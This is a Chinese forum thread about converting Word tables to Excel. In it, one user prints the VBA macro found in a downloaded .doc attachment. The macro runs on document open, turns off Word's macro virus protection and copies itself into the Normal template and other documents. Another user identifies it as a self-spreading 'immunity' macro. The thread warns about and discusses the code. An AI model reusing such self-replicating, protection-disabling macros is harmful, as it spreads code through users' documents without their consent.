怎样把Word文档表格转换成Exce电子表格

386026398

下载个虚拟打印pdf的软件，随时随地，任何文件都可转为pdf

zpy2

蓝桥玄霜 发表于 2019-12-15 08:36
附件中有木马病毒！

BA MACRO ThisDocument.cls
in file: storage/downloads/新建文件夹/新建文件夹/公路试验表格.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'APMP
'KILL
Private Sub Document_Open()
rem 自动执行
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
rem 这句话应该会删除原来的vba代码
          .InsertLines 1, MyCode
rem 感染自己到活动文档
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

虽然没做啥大坏事，只是复制自身代码，也没干好事，差不多是个病毒。

zpy2

zpy2 发表于 2019-12-15 19:43
BA MACRO ThisDocument.cls
in file: storage/downloads/新建文件夹/新建文件夹/公路试验表格.doc - OLE ...

好大一个KILL……仔细一看这分明是某个叫apmp宏病毒的免疫程序啊！很有想法，发现宏病毒了就把代码删了，在把自己填上去……但这代码看上去非常的……野路子感……有种以毒攻毒的感觉。

网上搜了一下，这居然是个免疫程序，

chenyun1234

网上教程;
1、另存为.htm格式
2、如果打开方式有可以用EXCEL方式打开，那最好，如无，请按以下步骤：
1）、左下角开始-程序，找到EXCEL图标-打开表格
2）、表格中-文件-开始-打开-浏览-打开上面-选找到所有文件，
3）、找到刚另存的文件-打开

奇迹就这样出现了

朝花夕拾2018

免疫程序，好用吗？